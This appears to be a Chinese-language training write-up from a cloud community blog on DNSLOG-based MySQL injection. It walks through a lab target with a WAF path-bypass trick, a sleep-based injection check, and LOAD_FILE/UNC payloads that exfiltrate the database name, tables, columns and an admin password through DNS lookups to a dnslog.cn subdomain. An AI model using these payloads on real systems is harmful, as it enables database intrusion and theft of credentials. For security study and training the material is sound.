5-3 MySQL注入 — Dns 注入

举报
Gere 发表于 2022/12/31 08:20:04 2022/12/31
【摘要】 一、DNSLOG的函数解析LOAD_FILE() 读取文件的函数读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。这个...


一、DNSLOG的函数解析

LOAD_FILE() 读取文件的函数

读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

image-20201021134056557

这个功能不是默认开启的,需要在mysql配置文件加一句 secure_file_priv=

UNC路径

\\zkaq.sq8o3d.ceye.io\abc 访问zkaq.0cv5gr.ceye.io下的abc共享文件夹

select load_file(concat(\'//\',(select database()),\'.v8bfoy.dnslog.cn/abc\'))

数据库去访问“库名.v8bfoy.dnslog.cn”的服务器下的共享文件夹abc

然后“库名.v8bfoy.dnslog.cn”的域名的解析会在v8bfoy.dnslog.cn服务器下进行,v8bfoy.dnslog.cn会有域名解析记录,从解析记录里就可以得到库名

http://dnslog.cn/ 免费的dnslog平台 不用注册 不用登陆 不采集任何信息

image-20201021134344879

点击Get SubDomain 给你一个二级域名让你使用
点击Refresh Record 查看给你的那个二级域名的DNS解析情况

二、DNSLOG的使用场景

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

三、DNSLOG靶场讲解

1.

http://59.63.200.79:8014/index3.php?id=1 and sleep(10)

对php传参会被拦截

image-20201021143901404

2.

可以换成对1.txr传参,由于找不到,就会找index3.php

http://59.63.200.79:8014/index3.php/1.txt?id=1 and sleep(10)

延迟打开,说明存在注入

3.

http://59.63.200.79:8014/index3.php/1.txt?id=1 and load_file(concat(\'//\',(select database()),\'.v8bfoy.dnslog.cn/abc\'))

获取当前数据库的名字为mangzhu

image-20201021140202653

4.

http://59.63.200.79:8014/index3.php/1.txt?id=1 and load_file(concat(\'//\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),\'.v8bfoy.dnslog.cn/abc\'))

获取当前mangzhu库的表

5.

http://59.63.200.79:8014/index3.php/1.txt
?id=1 and load_file(concat(\'//\',(select column_name from information_schema.columns where table_name=\'admin\' limit 0,1),\'.v8bfoy.dnslog.cn/abc\'))

获取当前admin表的字段名

6.

http://59.63.200.79:8014/index3.php/1.txt
?id=1 and load_file(concat(\'//\',(select password from admin limit 0,1),\'a.v8bfoy.dnslog.cn/abc\'))

获取admin表的password字段

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。